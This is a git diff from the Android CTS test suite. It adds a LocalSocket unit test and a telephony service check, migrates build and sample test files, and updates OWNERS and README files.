diff --git a/tests/net/OWNERS b/tests/net/OWNERS
new file mode 100644
index 0000000..67e4fc9
--- /dev/null
+++ b/tests/net/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 31808
+set noparent
+file:platform/packages/modules/Connectivity:master:/OWNERS_core_networking_xts
\ No newline at end of file
diff --git a/tests/net/TEST_MAPPING b/tests/net/TEST_MAPPING
new file mode 100644
index 0000000..a6a02d5
--- /dev/null
+++ b/tests/net/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "imports": [
+    {
+      "path": "packages/modules/Connectivity"
+    }
+  ]
+}
diff --git a/tests/net/src/android/net/cts/LocalSocketTest.java b/tests/net/src/android/net/cts/LocalSocketTest.java
new file mode 100644
index 0000000..c302f81
--- /dev/null
+++ b/tests/net/src/android/net/cts/LocalSocketTest.java
@@ -0,0 +1,580 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import static com.android.testutils.DevSdkIgnoreRuleKt.SC_V2;
+import static com.android.testutils.MiscAsserts.assertThrows;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.net.Credentials;
+import android.net.LocalServerSocket;
+import android.net.LocalSocket;
+import android.net.LocalSocketAddress;
+import android.system.Os;
+import android.system.OsConstants;
+import android.system.StructTimeval;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.testutils.DevSdkIgnoreRule;
+import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.SocketAddress;
+import java.util.Arrays;
+import java.util.Random;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class LocalSocketTest {
+    private final static String ADDRESS_PREFIX = "com.android.net.LocalSocketTest";
+
+    @Rule
+    public final DevSdkIgnoreRule mIgnoreRule = new DevSdkIgnoreRule();
+
+    @Test
+    public void testLocalConnections() throws IOException {
+        String address = ADDRESS_PREFIX + "_testLocalConnections";
+        // create client and server socket
+        LocalServerSocket localServerSocket = new LocalServerSocket(address);
+        LocalSocket clientSocket = new LocalSocket();
+
+        // establish connection between client and server
+        LocalSocketAddress locSockAddr = new LocalSocketAddress(address);
+        assertFalse(clientSocket.isConnected());
+        clientSocket.connect(locSockAddr);
+        assertTrue(clientSocket.isConnected());
+
+        LocalSocket serverSocket = localServerSocket.accept();
+        assertTrue(serverSocket.isConnected());
+        assertTrue(serverSocket.isBound());
+        assertThrows(IOException.class, () -> {
+            serverSocket.bind(localServerSocket.getLocalSocketAddress());
+        });
+        assertThrows(IOException.class, () -> {
+            serverSocket.connect(locSockAddr);
+        });
+
+        Credentials credent = clientSocket.getPeerCredentials();
+        assertTrue(0 != credent.getPid());
+
+        // send data from client to server
+        OutputStream clientOutStream = clientSocket.getOutputStream();
+        clientOutStream.write(12);
+        InputStream serverInStream = serverSocket.getInputStream();
+        assertEquals(12, serverInStream.read());
+
+        //send data from server to client
+        OutputStream serverOutStream = serverSocket.getOutputStream();
+        serverOutStream.write(3);
+        InputStream clientInStream = clientSocket.getInputStream();
+        assertEquals(3, clientInStream.read());
+
+        // Test sending and receiving file descriptors
+        clientSocket.setFileDescriptorsForSend(new FileDescriptor[]{FileDescriptor.in});
+        clientOutStream.write(32);
+        assertEquals(32, serverInStream.read());
+
+        FileDescriptor[] out = serverSocket.getAncillaryFileDescriptors();
+        assertEquals(1, out.length);
+        FileDescriptor fd = clientSocket.getFileDescriptor();
+        assertTrue(fd.valid());
+
+        //shutdown input stream of client
+        clientSocket.shutdownInput();
+        assertEquals(-1, clientInStream.read());
+
+        //shutdown output stream of client
+        clientSocket.shutdownOutput();
+        assertThrows(IOException.class, () -> {
+            clientOutStream.write(10);
+        });
+
+        //shutdown input stream of server
+        serverSocket.shutdownInput();
+        assertEquals(-1, serverInStream.read());
+
+        //shutdown output stream of server
+        serverSocket.shutdownOutput();
+        assertThrows(IOException.class, () -> {
+            serverOutStream.write(10);
+        });
+
+        //close client socket
+        clientSocket.close();
+        assertThrows(IOException.class, () -> {
+            clientInStream.read();
+        });
+
+        //close server socket
+        serverSocket.close();
+        assertThrows(IOException.class, () -> {
+            serverInStream.read();
+        });
+    }
+
+    @Test
+    public void testAccessors() throws IOException {
+        String address = ADDRESS_PREFIX + "_testAccessors";
+        LocalSocket socket = new LocalSocket();
+        LocalSocketAddress addr = new LocalSocketAddress(address);
+
+        assertFalse(socket.isBound());
+        socket.bind(addr);
+        assertTrue(socket.isBound());
+        assertEquals(addr, socket.getLocalSocketAddress());
+
+        String str = socket.toString();
+        assertTrue(str.contains("impl:android.net.LocalSocketImpl"));
+
+        socket.setReceiveBufferSize(1999);
+        assertEquals(1999 << 1, socket.getReceiveBufferSize());
+
+        socket.setSendBufferSize(3998);
+        assertEquals(3998 << 1, socket.getSendBufferSize());
+
+        assertEquals(0, socket.getSoTimeout());
+        socket.setSoTimeout(1996);
+        assertTrue(socket.getSoTimeout() > 0);
+
+        assertThrows(UnsupportedOperationException.class, () -> {
+            socket.getRemoteSocketAddress();
+        });
+
+        assertThrows(UnsupportedOperationException.class, () -> {
+            socket.isClosed();
+        });
+
+        assertThrows(UnsupportedOperationException.class, () -> {
+            socket.isInputShutdown();
+        });
+
+        assertThrows(UnsupportedOperationException.class, () -> {
+            socket.isOutputShutdown();
+        });
+
+        assertThrows(UnsupportedOperationException.class, () -> {
+            socket.connect(addr, 2005);
+        });
+
+        socket.close();
+    }
+
+    // http://b/31205169
+    @Test @IgnoreUpTo(SC_V2)  // Crashes on pre-T due to a JNI bug. See http://r.android.com/2096720
+    public void testSetSoTimeout_readTimeout() throws Exception {
+        String address = ADDRESS_PREFIX + "_testSetSoTimeout_readTimeout";
+
+        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+            final LocalSocket clientSocket = socketPair.clientSocket;
+
+            // Set the timeout in millis.
+            int timeoutMillis = 1000;
+            clientSocket.setSoTimeout(timeoutMillis);
+
+            // Avoid blocking the test run if timeout doesn't happen by using a separate thread.
+            Callable<Result> reader = () -> {
+                try {
+                    clientSocket.getInputStream().read();
+                    return Result.noException("Did not block");
+                } catch (IOException e) {
+                    return Result.exception(e);
+                }
+            };
+            // Allow the configured timeout, plus some slop.
+            int allowedTime = timeoutMillis + 2000;
+            Result result = runInSeparateThread(allowedTime, reader);
+
+            // Check the message was a timeout, it's all we have to go on.
+            String expectedMessage = Os.strerror(OsConstants.EAGAIN);
+            result.assertThrewIOException(expectedMessage);
+        }
+    }
+
+    // http://b/31205169
+    @Test
+    public void testSetSoTimeout_writeTimeout() throws Exception {
+        String address = ADDRESS_PREFIX + "_testSetSoTimeout_writeTimeout";
+
+        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+            final LocalSocket clientSocket = socketPair.clientSocket;
+
+            // Set the timeout in millis.
+            int timeoutMillis = 1000;
+            clientSocket.setSoTimeout(timeoutMillis);
+
+            // Set a small buffer size so we know we can flood it.
+            clientSocket.setSendBufferSize(100);
+            final int bufferSize = clientSocket.getSendBufferSize();
+
+            // Avoid blocking the test run if timeout doesn't happen by using a separate thread.
+            Callable<Result> writer = () -> {
+                try {
+                    byte[] toWrite = new byte[bufferSize * 2];
+                    clientSocket.getOutputStream().write(toWrite);
+                    return Result.noException("Did not block");
+                } catch (IOException e) {
+                    return Result.exception(e);
+                }
+            };
+            // Allow the configured timeout, plus some slop.
+            int allowedTime = timeoutMillis + 2000;
+
+            Result result = runInSeparateThread(allowedTime, writer);
+
+            // Check the message was a timeout, it's all we have to go on.
+            String expectedMessage = Os.strerror(OsConstants.EAGAIN);
+            result.assertThrewIOException(expectedMessage);
+        }
+    }
+
+    @Test
+    public void testAvailable() throws Exception {
+        String address = ADDRESS_PREFIX + "_testAvailable";
+
+        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+            LocalSocket clientSocket = socketPair.clientSocket;
+            LocalSocket serverSocket = socketPair.serverSocket.accept();
+
+            OutputStream clientOutputStream = clientSocket.getOutputStream();
+            InputStream serverInputStream = serverSocket.getInputStream();
+            assertEquals(0, serverInputStream.available());
+
+            byte[] buffer = new byte[50];
+            clientOutputStream.write(buffer);
+            assertEquals(50, serverInputStream.available());
+
+            InputStream clientInputStream = clientSocket.getInputStream();
+            OutputStream serverOutputStream = serverSocket.getOutputStream();
+            assertEquals(0, clientInputStream.available());
+            serverOutputStream.write(buffer);
+            assertEquals(50, serverInputStream.available());
+
+            serverSocket.close();
+        }
+    }
+
+    // http://b/34095140
+    @Test @IgnoreUpTo(SC_V2)
+    public void testLocalSocketCreatedFromFileDescriptor() throws Exception {
+        String address = ADDRESS_PREFIX + "_testLocalSocketCreatedFromFileDescriptor";
+
+        // Establish connection between a local client and server to get a valid client socket file
+        // descriptor.
+        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+            // Extract the client FileDescriptor we can use.
+            FileDescriptor fileDescriptor = socketPair.clientSocket.getFileDescriptor();
+            assertTrue(fileDescriptor.valid());
+
+            // Create the LocalSocket we want to test.
+            LocalSocket clientSocketCreatedFromFileDescriptor = new LocalSocket(fileDescriptor);
+            assertTrue(clientSocketCreatedFromFileDescriptor.isConnected());
+            assertTrue(clientSocketCreatedFromFileDescriptor.isBound());
+
+            // Test the LocalSocket can be used for communication.
+            LocalSocket serverSocket = socketPair.serverSocket.accept();
+            OutputStream clientOutputStream =
+                    clientSocketCreatedFromFileDescriptor.getOutputStream();
+            InputStream serverInputStream = serverSocket.getInputStream();
+
+            clientOutputStream.write(12);
+            assertEquals(12, serverInputStream.read());
+
+            // Closing clientSocketCreatedFromFileDescriptor does not close the file descriptor.
+            clientSocketCreatedFromFileDescriptor.close();
+            assertTrue(fileDescriptor.valid());
+
+            // .. while closing the LocalSocket that owned the file descriptor does.
+            socketPair.clientSocket.close();
+            assertFalse(fileDescriptor.valid());
+        }
+    }
+
+    @Test
+    public void testFlush() throws Exception {
+        String address = ADDRESS_PREFIX + "_testFlush";
+
+        try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) {
+            LocalSocket clientSocket = socketPair.clientSocket;
+            LocalSocket serverSocket = socketPair.serverSocket.accept();
+
+            OutputStream clientOutputStream = clientSocket.getOutputStream();
+            InputStream serverInputStream = serverSocket.getInputStream();
+            testFlushWorks(clientOutputStream, serverInputStream);
+
+            OutputStream serverOutputStream = serverSocket.getOutputStream();
+            InputStream clientInputStream = clientSocket.getInputStream();
+            testFlushWorks(serverOutputStream, clientInputStream);
+
+            serverSocket.close();
+        }
+    }
+
+    private void testFlushWorks(OutputStream outputStream, InputStream inputStream)
+            throws Exception {
+        final int bytesToTransfer = 50;
+        StreamReader inputStreamReader = new StreamReader(inputStream, bytesToTransfer);
+
+        byte[] buffer = new byte[bytesToTransfer];
+        outputStream.write(buffer);
+        assertEquals(bytesToTransfer, inputStream.available());
+
+        // Start consuming the data.
+        inputStreamReader.start();
+
+        // This doesn't actually flush any buffers, it just polls until the reader has read all the
+        // bytes.
+        outputStream.flush();
+
+        inputStreamReader.waitForCompletion(5000);
+        inputStreamReader.assertBytesRead(bytesToTransfer);
+        assertEquals(0, inputStream.available());
+    }
+
+    private void sendAndReceiveBytes(LocalSocket s1, LocalSocket s2) throws Exception {
+        final Random random = new Random();
+        final byte[] sendBytes = new byte[random.nextInt(511) + 1];  // Avoid 0-byte writes.
+        random.nextBytes(sendBytes);
+        final int numBytes = sendBytes.length;
+        final OutputStream os = s1.getOutputStream();
+        os.write(sendBytes);
+        os.flush();
+
+        final InputStream is = s2.getInputStream();
+        final byte[] recvBytes = new byte[1024];
+        assertEquals(numBytes, is.read(recvBytes, 0, recvBytes.length));
+
+        final byte[] received = Arrays.copyOfRange(recvBytes, 0, numBytes);
+        assertArrayEquals(received, sendBytes);
+    }
+
+    /**
+     * Keeps track of the highest-numbered FD that is passed in.
+     */
+    private class MaxFdTracker{
+        private int mMax = -1;
+
+        public int get() {
+            return mMax;
+        }
+
+        private void noteFd(int fd) {
+            mMax = Math.max(mMax, fd);
+        }
+
+        public void noteFd(FileDescriptor fd) {
+            noteFd(fd.getInt$());
+        }
+
+        public void noteFd(LocalSocket s) {
+            noteFd(s.getFileDescriptor().getInt$());
+        }
+    }
+
+    @Test @IgnoreUpTo(SC_V2)
+    public void testCreateFromFd() throws Exception {
+        String address = ADDRESS_PREFIX + "_testClosingConnectedSocket";
+        LocalServerSocket server = new LocalServerSocket(address);
+
+        final int TIMEOUT_MS = 1000;
+
+        final int NUM_ITERATIONS = 1000;
+        int firstFd = -1;
+        MaxFdTracker maxFd = new MaxFdTracker();
+
+        for (int i = 0; i < NUM_ITERATIONS; i++) {
+            FileDescriptor fd = Os.socket(OsConstants.AF_UNIX, OsConstants.SOCK_STREAM, 0);
+            if (firstFd == -1) {
+                firstFd = fd.getInt$();
+            } else  {
+                maxFd.noteFd(fd);
+            }
+
+            // Ensure the test doesn't hang by setting a reasonably short timeout.
+            // This seems easier than polling on non-blocking socket.
+            Os.setsockoptTimeval(fd, OsConstants.SOL_SOCKET, OsConstants.SO_RCVTIMEO,
+                    StructTimeval.fromMillis(TIMEOUT_MS));
+            Os.setsockoptTimeval(fd, OsConstants.SOL_SOCKET, OsConstants.SO_SNDTIMEO,
+                    StructTimeval.fromMillis(TIMEOUT_MS));
+
+            final SocketAddress sockAddr = Os.getsockname(server.getFileDescriptor());
+            Os.connect(fd, sockAddr);
+
+            LocalSocket accepted = server.accept();
+            accepted.setSoTimeout(TIMEOUT_MS);
+            maxFd.noteFd(accepted);
+
+            LocalSocket ls = new LocalSocket(fd);
+            assertEquals(ls.getFileDescriptor().getInt$(), fd.getInt$());
+            maxFd.noteFd(ls);
+
+            sendAndReceiveBytes(accepted, ls);
+            sendAndReceiveBytes(ls, accepted);
+
+            accepted.close();
+            assertNull(accepted.getFileDescriptor());
+            Os.close(fd);
+        }
+        server.close();
+
+        assertTrue("No FDs created!", firstFd != -1);
+        assertTrue("Only one FD created?", maxFd.get() != -1);
+        int fdsConsumed = maxFd.get() - firstFd;
+        assertTrue(
+                "FD leak! Opened " + NUM_ITERATIONS + " sockets, FD int went up by " + fdsConsumed,
+            fdsConsumed < NUM_ITERATIONS / 2);
+    }
+
+    @Test @IgnoreUpTo(SC_V2)
+    public void testCreateFromFd_notConnected() throws Exception {
+        FileDescriptor fd = Os.socket(OsConstants.AF_UNIX, OsConstants.SOCK_STREAM, 0);
+        assertThrows(IllegalArgumentException.class, () -> {
+            LocalSocket ls = new LocalSocket(fd);
+        });
+    }
+
+    @Test @IgnoreUpTo(SC_V2)
+    public void testCreateFromFd_notSocket() throws Exception {
+        FileDescriptor fd = Os.open("/dev/null", 0 /* flags */, OsConstants.O_WRONLY);
+        assertThrows(IllegalArgumentException.class, () -> {
+            LocalSocket ls = new LocalSocket(fd);
+        });
+    }
+
+    private static class StreamReader extends Thread {
+        private final InputStream is;
+        private final int expectedByteCount;
+        private final CountDownLatch completeLatch = new CountDownLatch(1);
+
+        private volatile Exception exception;
+        private int bytesRead;
+
+        private StreamReader(InputStream is, int expectedByteCount) {
+            this.is = is;
+            this.expectedByteCount = expectedByteCount;
+        }
+
+        @Override
+        public void run() {
+            try {
+                byte[] buffer = new byte[10];
+                int readCount;
+                while ((readCount = is.read(buffer)) >= 0) {
+                    bytesRead += readCount;
+                    if (bytesRead >= expectedByteCount) {
+                        break;
+                    }
+                }
+            } catch (IOException e) {
+                exception = e;
+            } finally {
+                completeLatch.countDown();
+            }
+        }
+
+        public void waitForCompletion(long waitMillis) throws Exception {
+            if (!completeLatch.await(waitMillis, TimeUnit.MILLISECONDS)) {
+                fail("Timeout waiting for completion");
+            }
+            if (exception != null) {
+                throw new Exception("Read failed", exception);
+            }
+        }
+
+        public void assertBytesRead(int expected) {
+            assertEquals(expected, bytesRead);
+        }
+    }
+
+    private static class Result {
+        private final String type;
+        private final Exception e;
+
+        private Result(String type, Exception e) {
+            this.type = type;
+            this.e = e;
+        }
+
+        static Result noException(String description) {
+            return new Result(description, null);
+        }
+
+        static Result exception(Exception e) {
+            return new Result(e.getClass().getName(), e);
+        }
+
+        void assertThrewIOException(String expectedMessage) {
+            assertEquals("Unexpected result type", IOException.class.getName(), type);
+            assertEquals("Unexpected exception message", expectedMessage, e.getMessage());
+        }
+    }
+
+    private static Result runInSeparateThread(int allowedTime, final Callable<Result> callable)
+            throws Exception {
+        ExecutorService service = Executors.newSingleThreadScheduledExecutor();
+        Future<Result> future = service.submit(callable);
+        Result result = future.get(allowedTime, TimeUnit.MILLISECONDS);
+        if (!future.isDone()) {
+            fail("Worker thread appears blocked");
+        }
+        return result;
+    }
+
+    private static class LocalSocketPair implements AutoCloseable {
+        static LocalSocketPair createConnectedSocketPair(String address) throws Exception {
+            LocalServerSocket localServerSocket = new LocalServerSocket(address);
+            final LocalSocket clientSocket = new LocalSocket();
+
+            // Establish connection between client and server
+            LocalSocketAddress locSockAddr = new LocalSocketAddress(address);
+            clientSocket.connect(locSockAddr);
+            assertTrue(clientSocket.isConnected());
+            return new LocalSocketPair(localServerSocket, clientSocket);
+        }
+
+        final LocalServerSocket serverSocket;
+        final LocalSocket clientSocket;
+
+        LocalSocketPair(LocalServerSocket serverSocket, LocalSocket clientSocket) {
+            this.serverSocket = serverSocket;
+            this.clientSocket = clientSocket;
+        }
+
+        public void close() throws Exception {
+            serverSocket.close();
+            clientSocket.close();
+        }
+    }
+}
diff --git a/tests/netlegacy22.api/AndroidManifest.xml b/tests/netlegacy22.api/AndroidManifest.xml
index e062e14..94f1745 100644
--- a/tests/netlegacy22.api/AndroidManifest.xml
+++ b/tests/netlegacy22.api/AndroidManifest.xml
@@ -26,6 +26,7 @@
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 
     <application>
         <uses-library android:name="android.test.runner" />
diff --git a/tests/netlegacy22.api/AndroidTest.xml b/tests/netlegacy22.api/AndroidTest.xml
index aeed359..1b726e5 100644
--- a/tests/netlegacy22.api/AndroidTest.xml
+++ b/tests/netlegacy22.api/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/netlegacy22.api/src/android/net/cts/legacy/api22/ConnectivityManagerLegacyTest.java b/tests/netlegacy22.api/src/android/net/cts/legacy/api22/ConnectivityManagerLegacyTest.java
index b7880c7..792b687 100644
--- a/tests/netlegacy22.api/src/android/net/cts/legacy/api22/ConnectivityManagerLegacyTest.java
+++ b/tests/netlegacy22.api/src/android/net/cts/legacy/api22/ConnectivityManagerLegacyTest.java
@@ -26,6 +26,8 @@
 import android.net.LinkProperties;
 import android.net.Network;
 import android.net.NetworkInfo;
+import android.telephony.ServiceState;
+import android.telephony.TelephonyManager;
 import android.os.ConditionVariable;
 import android.test.AndroidTestCase;
 import android.util.Log;
@@ -58,13 +60,16 @@
 
     private ConnectivityManager mCm;
     private PackageManager mPackageManager;
+    private TelephonyManager mTm;
 
     private final List<Integer>mProtectedNetworks = new ArrayList<Integer>();
 
     protected void setUp() throws Exception {
         super.setUp();
-        mCm = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+        mCm = getContext().getSystemService(ConnectivityManager.class);
+
         mPackageManager = getContext().getPackageManager();
+        mTm = getContext().getSystemService(TelephonyManager.class);
 
         // Get com.android.internal.R.array.config_protectedNetworks
         int resId = getContext().getResources().getIdentifier("config_protectedNetworks", "array", "android");
@@ -139,6 +144,13 @@
         Log.d(TAG, "Source address " + localAddress + " found on network type " + type);
     }
 
+    private void assertTelephonyInService() {
+        final ServiceState state = mTm.getServiceState();
+        if (state == null || state.getState() != ServiceState.STATE_IN_SERVICE) {
+            fail("Telephony state is out of service. Please ensure device has a working SIM card.");
+        }
+    }
+
     /** Test that hipri can be brought up when Wifi is enabled. */
     public void testStartUsingNetworkFeature_enableHipri() throws Exception {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
@@ -147,6 +159,8 @@
             return;
         }
 
+        assertTelephonyInService();
+
         // Make sure WiFi is connected to an access point.
         boolean isWifiEnabled = isWifiConnected();
         try {
diff --git a/tests/rotationresolverservice/Android.bp b/tests/rotationresolverservice/Android.bp
new file mode 100644
index 0000000..ba2218b
--- /dev/null
+++ b/tests/rotationresolverservice/Android.bp
@@ -0,0 +1,52 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+    ],
+}
+
+android_test {
+    name: "CtsRotationResolverServiceDeviceTestCases",
+    defaults: ["cts_defaults"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "platform-test-annotations",
+        "compatibility-device-util-axt",
+        "cts-wm-util",
+        "android-common",
+        "android-support-v4",
+    ],
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/rotationresolverservice/Android.mk b/tests/rotationresolverservice/Android.mk
deleted file mode 100644
index aaaafbc..0000000
--- a/tests/rotationresolverservice/Android.mk
+++ /dev/null
@@ -1,55 +0,0 @@
-# Copyright (C) 2021 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.test.ext.junit \
-    compatibility-device-util-axt \
-    platform-test-annotations \
-    compatibility-device-util-axt \
-    cts-wm-util \
-    android-common \
-    android-support-v4 \
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.base \
-    android.test.runner \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_PACKAGE_NAME := CtsRotationResolverServiceDeviceTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/sample/AndroidTest.xml b/tests/sample/AndroidTest.xml
index c3731f3..408fccc 100644
--- a/tests/sample/AndroidTest.xml
+++ b/tests/sample/AndroidTest.xml
@@ -15,6 +15,8 @@
 -->
 <configuration description="Config for CTS Sample test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Change the value field of `component` into an appropriate one.
+         See README for the full list. -->
     <option name="config-descriptor:metadata" key="component" value="misc" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
diff --git a/tests/sample/OWNERS b/tests/sample/OWNERS
index 7782fbe..d354e30 100644
--- a/tests/sample/OWNERS
+++ b/tests/sample/OWNERS
@@ -1,10 +1,7 @@
 # Bug component: 346961
 diqian@google.com
+fangqiu@google.com
 fdeng@google.com
-moonk@google.com
 normancheung@google.com
-williamgoh@google.com
 peykov@google.com
-yichunli@google.com
-yimingpan@google.com
-
+yimingpan@google.com
\ No newline at end of file
diff --git a/tests/sample/README b/tests/sample/README
new file mode 100644
index 0000000..3ab3544
--- /dev/null
+++ b/tests/sample/README
@@ -0,0 +1,15 @@
+This 'sample' folder is a sample which illustrates the basic structure and contents of a CTS module.
+
+Future users can refer to this folder to create their own CTS modules.
+
+Several things to notice:
+  1.  The users should update the `misc` value in
+      `<option name="config-descriptor:metadata" key="component" value="misc" />`
+      of the 'AndroidTest.xml' file into an appropriate group for the module they created.
+
+      The list of all available groups:
+      <https://cs.android.com/android/platform/superproject/+/master:cts/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java;l=66>.
+
+  2.  If the module is added outside the 'cts/' folder, the user should also 1) add the module
+      directory into the ayeaye checker (as shown in cl/423435565), and 2) add an OWNERS file in the
+      module directory accordingly.
\ No newline at end of file
diff --git a/tests/sample/src/android/sample/cts/SampleDeviceReportLogTest.java b/tests/sample/src/android/sample/cts/SampleDeviceReportLogTest.java
index a71fd97..5fa5252 100644
--- a/tests/sample/src/android/sample/cts/SampleDeviceReportLogTest.java
+++ b/tests/sample/src/android/sample/cts/SampleDeviceReportLogTest.java
@@ -16,7 +16,15 @@
 package android.sample.cts;
 
 import android.sample.SampleDeviceActivity;
-import android.test.ActivityInstrumentationTestCase2;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Assert;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
@@ -27,8 +35,8 @@
  *
  * This class has 3 no-op tests that create report logs and log fake metrics.
  */
-public class SampleDeviceReportLogTest
-        extends ActivityInstrumentationTestCase2<SampleDeviceActivity> {
+@RunWith(AndroidJUnit4.class)
+public class SampleDeviceReportLogTest {
 
     /**
      * Name of the report log. Test metrics will be written out to ths report. The name must match
@@ -51,19 +59,13 @@
     private static final String END_TAG = "actual_end";
 
     /**
-     * Constructor which passes the class of the activity to be instrumented.
-     */
-    public SampleDeviceReportLogTest() {
-        super(SampleDeviceActivity.class);
-    }
-
-    /**
      * Sample test that creates and logs test metrics into a report log.
      */
+    @Test
     public void testMultiplication() {
         // Perform test.
         int product = MULTIPLICATION_NUMBER_1 * MULTIPLICATION_NUMBER_2;
-        assertTrue("Multiplication result do not match", product == MULTIPLICATION_RESULT);
+        Assert.assertTrue("Multiplication result do not match", product == MULTIPLICATION_RESULT);
 
         // Log metrics from the test.
         String streamName = "test_multiplication";
@@ -72,12 +74,13 @@
                 ResultUnit.NONE);
         reportLog.addValue(ACTUAL_PRODUCT_TAG, 1.0 * product, ResultType.NEUTRAL, ResultUnit.NONE);
         reportLog.setSummary(ACTUAL_PRODUCT_TAG, 1.0 * product, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.submit(getInstrumentation());
+        reportLog.submit(InstrumentationRegistry.getInstrumentation());
     }
 
     /**
      * Sample test to check counting up.
      */
+    @Test
     public void testCountUp() {
         String streamName = "test_count_up";
         countHelper(1, streamName);
@@ -86,6 +89,7 @@
     /**
      * Sample test to check counting down.
      */
+    @Test
     public void testCountDown() {
         String streamName = "test_count_down";
         countHelper(2, streamName);
@@ -120,6 +124,6 @@
         reportLog.addValue(START_TAG, 1.0 * start, ResultType.NEUTRAL, ResultUnit.NONE);
         reportLog.addValue(END_TAG, 1.0 * end, ResultType.NEUTRAL, ResultUnit.NONE);
         reportLog.setSummary(END_TAG, 1.0 * end, ResultType.NEUTRAL, ResultUnit.NONE);
-        reportLog.submit(getInstrumentation());
+        reportLog.submit(InstrumentationRegistry.getInstrumentation());
     }
 }
